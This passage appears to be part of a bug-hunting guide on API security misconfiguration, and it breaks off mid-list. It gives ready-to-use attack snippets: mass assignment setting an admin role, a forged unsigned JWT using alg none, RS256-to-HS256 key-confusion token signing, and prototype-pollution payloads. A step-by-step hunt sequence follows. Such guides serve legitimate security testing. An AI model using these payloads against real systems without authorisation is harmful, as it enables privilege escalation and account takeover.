hunt-api-misconfig

1## 12. API SECURITY MISCONFIGURATION
2 
3### Mass Assignment
4```javascript
5User.update(req.body)  // body has {"role": "admin"} → privilege escalation
6```
7 
8### JWT None Algorithm
9```python
10header = {"alg": "none", "typ": "JWT"}
11payload = {"sub": 1, "role": "admin"}
12token = base64(header) + "." + base64(payload) + "."  # no signature
13```
14 
15### JWT RS256 → HS256 Algorithm Confusion
16```python
17# Get server's public key from /.well-known/jwks.json
18# Sign token with public key as HMAC secret
19token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
20# Server uses RS256 key as HS256 secret → accepts it
21```
22 
23### Prototype Pollution
24```javascript
25// Server-side — Node.js merge without protection
26{"__proto__": {"admin": true}}
27{"constructor": {"prototype": {"admin": true}}}
28// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
29```
30 
31For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor
32JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,
33or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype
34state reaches a later operation.
35 
36Hunt sequence:
37 
381. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects.
39   Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
402. **Pollute harmless marker properties.** Send variants such as:
41 
42```
43…